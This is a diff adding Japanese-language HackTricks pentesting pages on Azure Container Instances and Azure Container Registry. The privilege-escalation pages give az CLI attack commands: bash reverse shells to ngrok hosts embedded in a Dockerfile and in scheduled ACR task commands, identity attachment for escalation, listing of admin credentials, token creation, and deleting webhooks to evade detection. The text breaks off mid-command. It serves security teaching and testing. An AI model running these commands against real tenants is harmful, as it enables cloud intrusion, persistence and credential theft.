zED0CQU8-Mc6&Z2mX~QkL8a9T?tf6j8f}6ryT&#ZS(&STYYMGHxi{_(c%nQ1Z?)P2I zt&nq{?fgB6Qooa~KUZ5-r^1$#N&2BYlXSi9PU5k1jCMl#dR4_Ph=al7zGgC5WE@gZ z^M3Cq721fZ@cynN)pEi!kfCcdP7uP#=W+_S!sP| zVq!9V6L@0t-S#LUV$lK~*K@fAiB6W164v-WVI5Jp7JeEkzl=F)=RmF=k7XBgf`ENm zwFrRx0+nhfOHKno*?=#@OD(&votHqD8^ET&i&CmZ?f?2&(35{tSKo7yPrKHw2q|?! zzc!(GLXOrmaWbq z_8R4e~m`rlXOqnX;NQm{@al( zaF-d9sL)e%<{jcA*!I@l(E+=6_SHOPVd>WF^T z_bk+H>Muj;HnF?^#y7o$vX2D)sPz#1f6}lVcl=gXwp!MsXm<5h4RTx>J% zC5(jApV~L(`!`;f6hmQ$xDxXY+!6YwhqO5@=b+-mY_5g>{8b@>N_X*FQm?z7OG-*+ z&Yx)~HK*#HqS{=#Fj{FZ;WKN;@uuuIe8|^-l|6MbpIRPQ`RWJYeFA#nbEk0fO1B5f%{%CHiM3iH?|(|J$Hfln zNWMK(+EPx1i@AB?-FddjZ}ztbi&@w{X57Eh>=9JSP|ER*ds0}L1G z!1Ii`imtEP38To0lk3cKPZ<{pI$(4FPsih}y;5U;d|LR$u9G>lNJF8(P7;`_1--It98 zH!YX_6G)o;T)MMSS;t2dpT&#WF%7@=d2OaGm($efok54T+rCnL@~qi5zR`jx58VeX z<2S(wvOVt}eDa~vm(Of|o|q&bI_IozwES>=*xOzup!@T~#g1lJ!5AkjQ3hTcF>3I# zW9z;p)p~K&2)5dXnP{P5;f z>y%@2e^GDp1QW|F@HT?8leamSbVqAk`z3j0WR8oS!ieT&-f`HHMVT+!CvPF!GM#Su zf+u>y0~NB1=QN~3j1YgkU&#K2N8ZfW z>?E237A&$S1N6$1P1RU6xrmn#a}Nw8h<= zLNARZC+RaU(|R0~z*>sF*yGw~Za%LR`&%h|5VJicT1gChen!xo>L_SJ`Dp?0HPT+8 zK8j4YqX7h^OwP6+1wp7-;M=q)cCQ_UQ^G6&z%sV09FIQa9$esz#e98)9E|k6fz*;? z^Il3i3KxywLYQg8or5od{Ch$b!S$gjf@cmhlmAPvAu76{+3`9kIM_o!p5^FU`eIyV z{EM5Pzt_HZw1G0HVBa&rT-5?=R{vsg{~uP<@PDjfKHQK0+uR@-N?aXaC(@z5-PI>Y zM=|o{2|$?CycUrUs4iaHk2uXIyYy;H|HO$CtGKzqI9`YPN3~u2)Xp~yp$bS>#*Gw# zAcub-@OuEOf2P?I$aJ#3I)UwCM~~2a5uFMGmpnfGuMIZ?mMQ zJc!n-a%h1b zo_@W*SCE&3FhN&;ZBID>g61qSZKJ4iSxmI?1V>;R;BYLoBTIJ%=r{%dN!^R_QoG=o z^l~mww>-AmD^j11VJ2F1pe=AEf-Lff-`YVTtdPWN=-P-w32@V zLnZ15j7Exl@)dPxDxufcJ7cv~S6Awfqe~gWpsA$GlK%kkWzv_cjeFMT*Y4UUY5J^U z$emzhgL-}MB@~`s)lN%GE0sqoM!cgmhz984j%jtx`upyWb##_fvrhZJ_5dcoco6K{ z^xGly2D-a!JcZHaciW?VHE+@kSKKLR?Sfg8k4y0=Sd?8YGgWpNN@ZadSt-5Yw;5vQ z)G6&;-1eU9VdGS-aj^+E_g6pZuT>8GOSVJs3~;9w52))Tz>#^L9}_}I9}6#+MZVY^ z#ne@J>uo&xmu2upOaPZ=pBvIxlPktSV3r_z?u$Zyl|SK--3UMh`+{c{h>@8sK(dmJ ziBEB{l7g`f5~JU~d4my3Izr7*Xf)UcNYKO1O}>WUd?%Bf<1yYZCN*P+~D zMpnDnT7gzQkC_$QpUvWz7>tTf685G)GNVWsC)6pWeLM{YbWIC@)V+V2HDWGQB$g!XA&M;K%XZ^PoZ z?kV0xVoczHy?`P}Jh$Fpg!4%x1Yi@kLN4y}MW&xqz!6|-)3dSNIF@kvbKgA-hRs-| z7X!-!MbCS(RL{(~wo?2tPb5+>C~0;@=aE^loh14aCgr%SJa?oeaghld%RNfq_^%~l z-z~*A<%Ez#V&eE<9e9{ogQ%NTpBjwJ9x4Dn&(vl}E^Bc9*QTt4arINW3Jcc9Q8XsA z4+-_}J~=o#mG40jyLOG?K8DArM%c zfDvwJJjvXBgU5{&L3}hyK>decUE%Tzq4SU#gQ6&If>Z~YwDU%dI6!0ESioK9bX^+Z zf!mmjr%ds-{y`zW+ujCAaPHe;=`UA{#XN z@#E$~z}T>&p`opo&$h zxc5*53bsZ;shqD0G;R3Q{L#QQN!0DkaR8B848eKA9Ch&2nEvU0zM zZ*4yK{Vr$ywpnw?Fg~TrQI@$pyRP-B@MKWiBiAu^X>%cBLA%}URe`0@nYOq%V2kEY z(zj}6Dm7%Y0{n}G-CkA63{X+|#!}r$8UZDQ6Vk4B$};(w*!yze8NtZ;6t7Kf_3dB+ z+U%l}0LYyCX)69WP20ZpdAb$61o%a&{RIYb*mQ37*so-s)IjLFb_|=islsR9JAv0y zW#}r=W+Ku~5LgswcTNFIEmPyi9I+T^m{jj(%^a!NwpoT&9YrmR#yHscwJ;sT~aa-DdP=wvtyp6xI7+3 zYMJ|;RH(Pc)d6gdc`+H@IbnBuDq^nnUi<~EPbj4x#pEk2z!p1tphFrz+ow;T?8|9| z?`k0=r2Dt@xE}m9n2+~MMn}=l8N084A@BJ%T2rC(Id^SSmX3_C@s;u)1GO6=3RvG{ zpzs!t_pY0QE!r}6s5yqXxVQ3Xq-gdbo&lDotRVL1=TF5i>sC3Wzh7XWvjIIw z^~s#me>>6#$L*bea3D=XLqj5#4-|MZ+LL}nP{{?@Q_YYefN&Qg>d#_1QEbX-l8;() zwTi@Vp1QT?Pd(+eHEM2+r;Xy!$jxjU;Euk=O#JLmLbW_Z~Rx|2`;2HW--C&)4JZ66dWUamfCM0F`B|7MNV z!ZEY;$lc=?3`x%@Mnk<=!4@YdT$`(Lp>`hAhJp4qi&AIgD`K=y+YtkpCg{)qJ|7=F z)|%x^p^c4amwPnbRAT;R;^=rqO%n?2Y`JM0b2@`g` z%9XrEr{niUKo>=#%F<9=XvSbMD12SUKSqzNIa#m*#eg$8x_~LG^GrO5SCvWSyXrp( zK;&LZsllu8-VsEaWd{oVu%@ZugtC)*szG}xJMC^q;PKBuOr&4 zW+iyGX=eAwfFtN=#T>xV?vI7SqhtwHC{pv^x!S$($b0;f2XG{kLc4iHV1|+a#1{KZ z@e<*Y@Lhe%2@K|RN6?{O&w795$lc(-wm8h!#qjX(9J`q>9p!j_doPWhQk2rtR(eN{ zD?p*qBN&lsWrXu^FCagH3o?OiM;|u9gkVIF>>TL@6q+=G5%1gmE13NMwjgHYEwWO? zhyr`Eu^k4c8)7FeCJq0NoU)-6a9F5kt3_QfelG)7<*{=rC~Uf1I-xq;^B15tKq^2- z3@`NMJt?*7m2Crgj_%Ip;=KJ$ioaOhuT=g&1k3)NWkp{bu6==rK2^nfdY+rtlyCKf zC!D=*(h|v1Y$89O`LdXdO6OGTSrQhx7pyUXYO(JV({k_USTako%ef4;?(F+K{q=fX zr0vzxj$`|)*}V@Vp6$z9p57hHKVG#{wQqT+%wA@wh>VUlQO!{NxVhiK5MJze3>^m* zX@fR?oEP)j43z#xQ+M&u1qV;ic`iDfPG|^hvQfo|L)b@vLS@OxE|)3MFo;Bt`PFi* zK=5z~swCY8B?-ZZRe}Di1#nBtL4Q&&{1oL2HDMVbgAG0bjw%@{rCL*`n zHJAV|t_;ywfagA{i2w6WUv5G;&E>WI7`I^LMTkhz>#!`q*DOmGbR7a=*lo~B^a0$7 ze4?Qt-!KgEmC-^e(?&Ij7TP>Ma|0=)Jpi;so>%}D!>r{LL^@rdrk|=^21pReYNj3v zjyUeIE2jnK8N40~C1WEQXd*@49t~qsU9|f+6uh1NVmKd>1O+<__kM0QabRzSLpvIC zMNL}Sv1^6^D8((RJZ|-{)J2Qa492H6gQF@+!MF~BDp5R`L!&@{6kzJ?uQwSxd{#Xx ziY3sPVVjCkv+NSkS=D?0=|_~W=o~t*80Ek$4c;SWx((4He)IOE9**MQqk+msufw!B zT^yg3bQ{Pdhf8oajCi-(780xmy2lo#rei`87>?=*`56EGM;V_ZK_pfJktZzQ(#j@q z;%^#ifZ~f9FgBo9PP?Qte|j7hSzcdc+$6v6^9!gbmtVU-N;w=bkO_dYLLLcUE(3w# zK>P(`^h+6+ja$>g=|#pctpGZdEDl#-Kg1S6IEZ9nuPbhGcniYY6UPM|rtb;f7`%l0 zcTit&D?y=RY6!+YdAkQOi^{6cI!KTPZvf?YztSqkIy55;K zfO6|=Fs}ySy3M6g>SrWLm)8mAlAw_B(C|t39$7VV4vmuws=*I`-v*}6KJHloT?oPE z=~Z=o{J8{hb67(o{Le!K(d*8UsDP}FL#H%T7t05jurGTMaUIQ@2HYZ{8Z2)-0WjV& zT{gyn5f*z(@dp_9JQ#|X>hz?fq!2j@g50F!7Ah>e-_P~s%`Z+8{~i-8jI|hUgJ0ri zJI{hdR8&-W9A&GWH&Q}aIkCA(9xYwBRFjdFEe6a`dF*^R`@%J(!M|IL{KZuzdd-N< z;7h9Mrs4)>&t>&e9&*fsUm$7@N3T0+{~?^{JJq4j@0G(zXr%^d`4PydAuILIa=qbu zEW85!;72GTCUgvo3v1$?_y?X$Bnn^L`p?h)+~EK27cq;wBBrOObCcd*KJY?F%P5JP zReWO~J#vU*y&QO?$y||9l9UoOZ+iz0_iP%os4oSJ8&}w&?+4-$r3Qr+BKyUkS4KKc z^1AOaPT3VbibEZYLx~c_qr63Z=)-%Dpx2`(s?Ht!J&K46p2hWs|L}(_Xy~P98yvL{ zbvjB9o~0LPbNEA97$9Z;+2R9@g6*dgo>hr6eE7p?44lq1j1JR3Gym^I^0V`+#O-8P z&o;R<>ZDqUcH}qmINNloy}8=ma3Y9Mj(Uzpx$QP+XPp)^^FT-q3+`<$*v;7Z`1sE* zcPc+)A-bB2dLjmOcd7E_r2aOwc@!PA2&Djghiz+D-$znsfou|Z=gX=om&H#T9*2Hv z4)k3{(*bWb7by5XWDj%VD7J$7l8eCS@q2u?*orWhl?~;y8R`L@$>YTd?lmj3em%$V zS0F&oqBWxb+kw+!exNFW!r0b}h*l;r5W_VDbjgKaFb09CzXkjGhXB`)oD9CAxhJ+y zr;@X)HG?|Q^7*y!VmMbx>+_o+)mJ{f-76A%OsDjLKA_u{UIQh2xn(!2E=Xs+ASS-q zDM2_GXW(rq5q$E#K!r>cqXu|QD_>Mbx!{ZG*uzG|BssUSrp+HeMNDW&E?q zM3>0jW|Lh<%tL{Lu6gox>{ZRrBj&KxZgHflJC;+|434TOhZB)P zCeCuaoUj2k13xG{*MF^Ak5-pagFNE~{Sy(NIz9;1PuEU_gUEF>9|T1?;IbQgPuwfdSUrqtth6fJprv@Rcr>d4u?(ZByx#A@WdkyJ(d}Em(EXla(xmdPYf1Ge2jJwWawj-ru^wPCuVo_8-4s<05 zeA)pFOq~Coxj2#LZbHeWR|uvPIhtbuYF?k9(WrNxY&>BN7yuk|u0oOB`@z&uCASUC z-WP(ba4_~yzT}p{9*H=A)&Lo{EnogHWxDpD5CC1ZN45`WK6M=&it!daww7#Qk1qli zW_acETW%eZG<%o7t5P(dymR&;%+$db*B_7EO9q=aGvxVf3SiSujJtT9ye7&G?GW=y zY6U8I5y*-Pcz(4FrdsQRZ}cLV;_Prbk!!?G`sc`2?_?p*zC8?r7psyRYGe;M^=k(} za$^lf<-$jG)kt!ED5d`yod-WkEhYNnFdSKu?d)u8HXmXT@t;N7EQAiWzXa%-#Fv^% z2o95DBf9*JBP4$eR5Nk3)ECXfUP=t6dZEed znhW8OO*o;X#@*!l_3KtCJuNhtSwGjJMHk(5vB<_-o=B#>KAhh=$$$yxK zm|nW3$Rzs0f3|2nmQ?N+b@TZ(BaB94^xk~f3Sx;bB`r>4B7L}`iyHUQyt;d7Bf5dZ z@-rc4ZPa6_@k=l7S2lzNnpAk1wv&*Ojw-$X9{ax6pAq+zD)n6E!c&dMCkgnuHAHIm zzT7=%P@12hQ{7L$n-CDIttg@)bH#hN^4l3Esr9xl_AE>r%A6Dp!3F6uHQ&8p&O_ zLJwP9T)07EA@;#<65R`hXQ>TTojue9A~v{zEd#(Ti+{ndnSv)IZXx=H!L@48 zZspxb5gxR9TktqXv%nTPZpmx=b4dB^K_1`-6IobTs@m{r1Uiug*q?6s$M5|;P5d%( zYquxE5QS*acd?Wph;%0|ox>CeoM zjd{#-wn3x>Qji>7fJz@elX91&vIl&+1#qwkZ?FG$uKw=0wakZI>{t>q05rwG;$v*C zG8-edJqVY)7%V%&)8~S_p#hGcnrFHP@<0eUOVU7?p^^nM-WIl8&Yo9Uq0r;aRr>ih zY?CdOU8~S=o1r2(KHlQWrMxunXl?`H7mL%=CW1ipzgm4yy$L5P4uJQ#gkB2a)i%E8 zP2eyG^JaPLfjNy8*?;!~j;A4a&|e8|f4xxL=I6ka1-x%kvn!J)G5YHZ@ z4r5mR`HMq)K+Q7lG!h(Gx(+IakZHG6QYGxj;mHqiE6@h|DC#rX4pqD1o_TT-q^c#L zhOg8>fD)oSp|k+~YfH7$H=~HFYcdmsU!0Q#?B8HgK~xBDfzUfGRmRT%rntNqXgEqn zcDXU#ASJK}4k5$H<_O!E2p}99bsb;yr@wh)ke58&ggnxDX=ISM-)3X3m#coY*bW!P zm#?w-O$WE!V{_qKyAZhaco=+}8e1Scr>YPsGr02dn8Re_{d`(XF9>ot%3M>NZTVKz zMCa)24Tp(5jtFhnx-KJ$4yR)XXf?+K9f(#M%V)Nn?*)JHBT=k*@LuxX&dweHkU^10@|Y4 zsMEUuP;Iextu#W8+>>H0m=(@V-{l6cmSr%+YuU6570`bo2cM^cLc1$;H7C zfN^X(j_vjzrUKTEZv^^|e16B+&fWZuo@nqY_#2hQBG7U0FMbd8$1)9p%&}#3K1?;x z$ZQdWT(y!h@SsBBr+ja12*9=hbU5}B&znq%ty5JH9Hg4I&a9`w5>{jJW1>=_WcGfs z!5kh^cg|wU%)LekP6aBVJ+~PUW;?8ZsjV`@O)PCSfrA?LSQY$`6t>#Ar6TblTw5)Z z6-CU9G3VMnL`byNWqoUUw>qnKt=r+A8;5m%!s|yy5pK_!PUviFOV5^49Y+ zYRW!v+RW^i0C&ImV9sm{#l&L8)?BtzDxV_7Y&<1s2x$Z+iZviB!=;IPQ!YUqUr259 z{8iDPt4;KyMHA~W>fiH8YemXt=R!t!)h^~edTeWXGhpvP^DyxK&_dKL=|3!VsKtj{ zvz2+yOtcY6<5zXRp#pJDDMU6gykFi(S>n-we>#QfpPfpt(i^i1^5%SA&`Z!uZ~9TK zwAf^&42dLO+Luo_Yud{@{(<^*)(-6RuCs3AGcSERsOhpkha{fN^4d{0eEB(KERF8U zILB%4tY^tOSEa-f=0@$CXvaP~(er&!na$j+EZRLfJ(zbFO~D)*G@pUW9CKi1bUp-exJ7kernD52ZK6&L3cq{Ny-O`A+fXDyP_&_4#X-Hr8pd_7CAg6#To(dOVsRgqHOS ze9q{YrWR+Pm56@y=uyKERnALF4XT_8DRCYbvoBU`k6&IkAFC}|DTxtNJ*~0c2T`vD ze<{wYW%3PWXWkFz1-8}r<$sc=vf;=TWYX&xN-kQAB^Dcbe6Ub{FF)S&(vW9Yu#aa5 zYvUhSNF+MZg=@kby9TJ!?2f8m@OVSQ&Wi_HRt*VTGu^oHYNaD}6z3r+;mPo(H{03n zG`fa{gol<;MOS+_BUaOdEoRVpmZIH06u8YWe zo;}t<96HVC7k_H<6kevLo_!ECe5WWyWco*GFM}kc5O} --resource-group --exec-command 'ls' +``` +コンテナの**出力を読み取る**ことも可能です: +```bash +az container attach --name --resource-group +``` +ログを取得するには: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +これらの権限は、**ユーザー管理のアイデンティティを**コンテナー グループにアタッチすることを許可します。これは、コンテナー内で権限を昇格させるのに非常に便利です。 + +ユーザー管理のアイデンティティをコンテナー グループにアタッチするには: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +これらの権限は、**ユーザー管理のアイデンティティ**が付与された**コンテナー グループを作成または更新**することを許可します。これは、コンテナー内で権限を昇格させるのに非常に便利です。 +```bash +az container create \ +--resource-group > \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +さらに、既存のコンテナグループを更新し、例えば**`--command-line`引数**を逆シェルで追加することも可能です。 + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md new file mode 100644 index 000000000..68c001461 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md @@ -0,0 +1,115 @@ +# Az - Azure Container Registry Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +詳細については、次を確認してください: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action` + +この権限により、ユーザーはACRの管理者資格情報を一覧表示できます。これは、レジストリに対して**完全なアクセス**を取得するのに役立ちます。 +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//listCredentials?api-version=2023-11-01-preview" +``` +管理者資格情報が有効でない場合、次のコマンドを使用してそれらを有効にするために、`Microsoft.ContainerRegistry/registries/write`の権限も必要です: +```bash +az rest --method PATCH --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}' +``` +### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` + +これらの権限により、ユーザーは**レジストリにアクセスするためのパスワードを持つ新しいトークンを作成**できます。 + +次の例のように`az cli`を使用して生成するには、`Microsoft.ContainerRegistry/registries/read`、`Microsoft.ContainerRegistry/registries/scopeMaps/read`、`Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`、`Microsoft.ContainerRegistry/registries/tokens/read`の権限も必要です。 +```bash +az acr token create \ +--registry \ +--name \ +--scope-map _repositories_admin +``` +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` + +これらの権限は、ユーザーがレジストリ内で**イメージをビルドおよび実行する**ことを許可します。これは、コンテナ内で**コードを実行する**ために使用できます。 + +>[!WARNING] +> ただし、イメージは**サンドボックス環境**で実行され、**メタデータサービスへのアクセスなし**で実行されます。これは、コンテナが**インスタンスメタデータ**にアクセスできないことを意味するため、特権を昇格させるにはあまり役に立ちません。 +```bash +# Build +echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile +az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null +``` +### `Microsoft.ContainerRegistry/registries/tasks/write` + +これは、レジストリ内でタスクを作成および更新することを許可する主要な権限です。これは、**管理されたアイデンティティが付与されたコンテナ内でコードを実行する**ために使用できます。 + +これは、**システム管理**アイデンティティが付与されたコンテナ内でリバースシェルを実行する方法の例です: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +タスクから外部リポジトリを使用せずにRCEを取得する別の方法は、`az acr task create`コマンドを`--cmd`フラグと共に使用することです。これにより、コンテナ内でコマンドを実行できます。例えば、次のコマンドでリバースシェルを実行できます: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task-cmd \ +--image rev/shell2:v1 \ +--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \ +--schedule "*/1 * * * *" \ +--context /dev/null \ +--commit-trigger-enabled false \ +--assign-identity +``` +> [!TIP] +> システム管理アイデンティティを割り当てるには特別な権限は必要ありませんが、レジストリで事前に有効にされ、役立つためのいくつかの権限が割り当てられている必要があります。 + +**ユーザー管理アイデンティティを割り当てるには**、`Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` の権限が必要です。 +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \[system\] "/subscriptions/>/resourcegroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +既存のタスクのリポジトリを**更新**するには、次のようにします: +```bash +az acr task update \ +--registry \ +--name reverse-shell-task \ +--context https://github.com/your-user/your-repo.git +``` +### `Microsoft.ContainerRegistry/registries/importImage/action` + +この権限を使用すると、**ローカルに画像がなくてもazureレジストリに画像をインポート**することが可能です。ただし、**すでにレジストリに存在するタグを持つ画像をインポートすることはできません**。 +```bash +# Push with az cli +az acr import \ +--name \ +--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import +``` +特定のイメージタグをレジストリから**タグ解除または削除**するには、次のコマンドを使用できます。ただし、実行するには**十分な権限**を持つユーザーまたはトークンが必要です: +```bash +az acr repository untag \ +--name \ +--image : + +az acr repository delete \ +--name \ +--image : +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md new file mode 100644 index 000000000..63dd997f9 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md @@ -0,0 +1,47 @@ +# Az - Container Instances + +{{#include ../../../../banners/hacktricks-training.md}} + +## 基本情報 + +Azure Container Instances (ACI) は、Azure クラウドで **コンテナ** を実行するための **サーバーレスでオンデマンドな方法** を提供します。単一または複数のコンテナを **スケーラブルなコンピュート**、**ネットワーキングオプション**、および **他の Azure サービス**(ストレージ、仮想ネットワーク、またはコンテナレジストリなど)に接続する柔軟性を持つグループで **デプロイ** できます。 + +これらは **エフェメラル** なワークロードであるため、基盤となる VM インフラストラクチャを管理する必要はありません — Azure がそれを処理します。しかし、**攻撃的セキュリティの観点**からは、**権限**、**アイデンティティ**、**ネットワーク構成**、および **ログ** が攻撃面や潜在的な誤設定を明らかにする可能性があることを理解することが重要です。 + + +### 構成 + +- コンテナを作成するには、パブリックイメージ、Azure Container Registry からのコンテナイメージ、または外部リポジトリを使用することができ、これには **アクセスするためのパスワードを設定する必要がある** かもしれません。 +- ネットワーキングに関しては、**パブリック IP** を持つことも、**プライベートエンドポイント** であることもできます。 +- 一般的な Docker 設定を構成することも可能です: +- **環境変数** +- **ボリューム**(Azure Files からも) +- **ポート** +- **CPU とメモリの制限** +- **再起動ポリシー** +- **特権として実行** +- **実行するコマンドライン** +- ... + + +## 列挙 + +> [!WARNING] +> ACI を列挙する際には、**環境変数**、**ネットワークの詳細**、または **管理されたアイデンティティ** などの機密構成を明らかにする可能性があります。それらをログに記録したり表示したりする際は注意してください。 +```bash +# List all container instances in the subscription +az container list + +# Show detailed information about a specific container instance +az container show --name --resource-group + +# Fetch logs from a container +az container logs --name --resource-group + +# Execute a command in a running container and get the output +az container exec --name --resource-group --exec-command "ls" + +# Get yaml configuration of the container group +az container export --name --resource-group +``` + diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md new file mode 100644 index 000000000..fc442f13c --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -0,0 +1,157 @@ +# Az - Container Registry + +{{#include ../../../../banners/hacktricks-training.md}} + +## 基本情報 + +Azure Container Registry (ACR) は、**Azure クラウド内でコンテナイメージを保存、管理、アクセスするための安全でプライベートなレジストリ**です。いくつかの Azure サービスとシームレスに統合され、大規模な自動ビルドおよびデプロイワークフローを提供します。地理的レプリケーションや脆弱性スキャンなどの機能を備えた ACR は、コンテナ化されたアプリケーションのエンタープライズグレードのセキュリティとコンプライアンスを確保するのに役立ちます。 + +### 権限 + +これらは、Container Registry に対して付与できる**異なる権限**です [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager): + +- アクセス リソース マネージャー +- レジストリの作成/削除 +- イメージのプッシュ +- イメージのプル +- イメージデータの削除 +- ポリシーの変更 +- イメージの署名 + +また、割り当て可能な**組み込みロール**もあり、**カスタムロール**を作成することも可能です。 + +![]() + +### 認証 + +> [!WARNING] +> レジストリ名に大文字が含まれていても、**小文字**を使用してログイン、プッシュ、プルすることが非常に重要です。 + +ACR に認証する方法は 4 つあります: + +- **Entra ID を使用**: これは ACR に認証するための**デフォルト**の方法です。**`az acr login`** コマンドを使用して ACR に認証します。このコマンドは、**`~/.docker/config.json`** ファイルに**資格情報**を**保存**します。さらに、**クラウドシェル**のように Docker ソケットにアクセスできない環境でこのコマンドを実行している場合、**`--expose-token`** フラグを使用して ACR に認証するための**トークン**を取得できます。次に、認証するにはユーザー名として `00000000-0000-0000-0000-000000000000` を使用します。例: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **管理者アカウントを使用**: 管理者ユーザーはデフォルトで無効になっていますが、有効にすることができ、その後、管理者アカウントの**ユーザー名**と**パスワード**を使用してレジストリにアクセスできます。この方法は、いくつかの Azure サービスが使用しているため、まだサポートされています。このユーザーには**2 つのパスワード**が作成され、どちらも有効です。`az acr update -n --admin-enabled true` で有効にできます。ユーザー名は通常、レジストリ名(`admin` ではなく)です。 +- **トークンを使用**: **特定の `scope map`**(権限)を持つ**トークン**を作成してレジストリにアクセスすることができます。次に、このトークン名をユーザー名として使用し、生成されたパスワードのいずれかを使用してレジストリに認証します。例: `docker login -u -p aregistry-url` +- **サービスプリンシパルを使用**: **サービスプリンシパル**を作成し、イメージをプルするために **`AcrPull`** のようなロールを割り当てることができます。次に、SP appId をユーザー名として、生成されたシークレットをパスワードとして使用して**レジストリにログイン**できます。 + +レジストリへのアクセスを持つ SP を生成するための [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) からの例スクリプト: +```bash +#!/bin/bash +ACR_NAME=$containerRegistry +SERVICE_PRINCIPAL_NAME=$servicePrincipal + +# Obtain the full registry ID +ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv) + +PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv) +USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv) + +echo "Service principal ID: $USER_NAME" +echo "Service principal password: $PASSWORD" +``` +### 暗号化 + +**Premium SKU** のみが、画像やその他のアーティファクトの **静止状態での暗号化** をサポートしています。 + +### ネットワーキング + +**Premium SKU** のみが **プライベートエンドポイント** をサポートしています。他のSKUは **パブリックアクセス** のみをサポートしています。パブリックエンドポイントの形式は `.azurecr.io` で、プライベートエンドポイントの形式は `.privatelink.azurecr.io` です。このため、レジストリの名前はすべてのAzureで一意である必要があります。 + +### Microsoft Defender for Cloud + +これにより、レジストリ内の **画像をスキャン** して **脆弱性** を検出できます。 + +### ソフトデリート + +**ソフトデリート** 機能により、指定された日数内に **削除されたレジストリを復元** できます。この機能は **デフォルトで無効** です。 + +### ウェブフック + +レジストリ内に **ウェブフックを作成** することが可能です。このウェブフックでは、**プッシュまたは削除アクションが実行されるたびにリクエストが送信されるURL** を指定する必要があります。さらに、ウェブフックは影響を受けるリポジトリ(画像)を示すスコープを指定できます。例えば、'foo:*' はリポジトリ 'foo' の下のイベントを意味します。 + +攻撃者の視点からは、レジストリ内で **アクションを実行する前にこれを確認** し、必要に応じて一時的に削除して検出を避けることが興味深いです。 + +### 接続されたレジストリ + +これは基本的に、通常はオンプレミスにある別のレジストリから **画像をミラーリング** することを可能にします。 + +2つのモードがあります: **ReadOnly** と **ReadWrite**。最初のモードでは、画像はソースレジストリからのみ **プル** され、2番目のモードでは、画像をソースレジストリに **プッシュ** することもできます。 + +クライアントがAzureからレジストリにアクセスするためには、接続されたレジストリが使用されるときに **トークン** が生成されます。 + +### 実行とタスク + +実行とタスクは、通常ローカルまたはCI/CDパイプラインで行う必要があるAzureコンテナ関連のアクションを実行することを可能にします。例えば、レジストリ内で **画像をビルド、プッシュ、実行** できます。 + +コンテナをビルドして実行する最も簡単な方法は、通常の実行を使用することです: +```bash +# Build +echo "FROM mcr.microsoft.com/hello-world" > Dockerfile +az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile . + +# Run +az 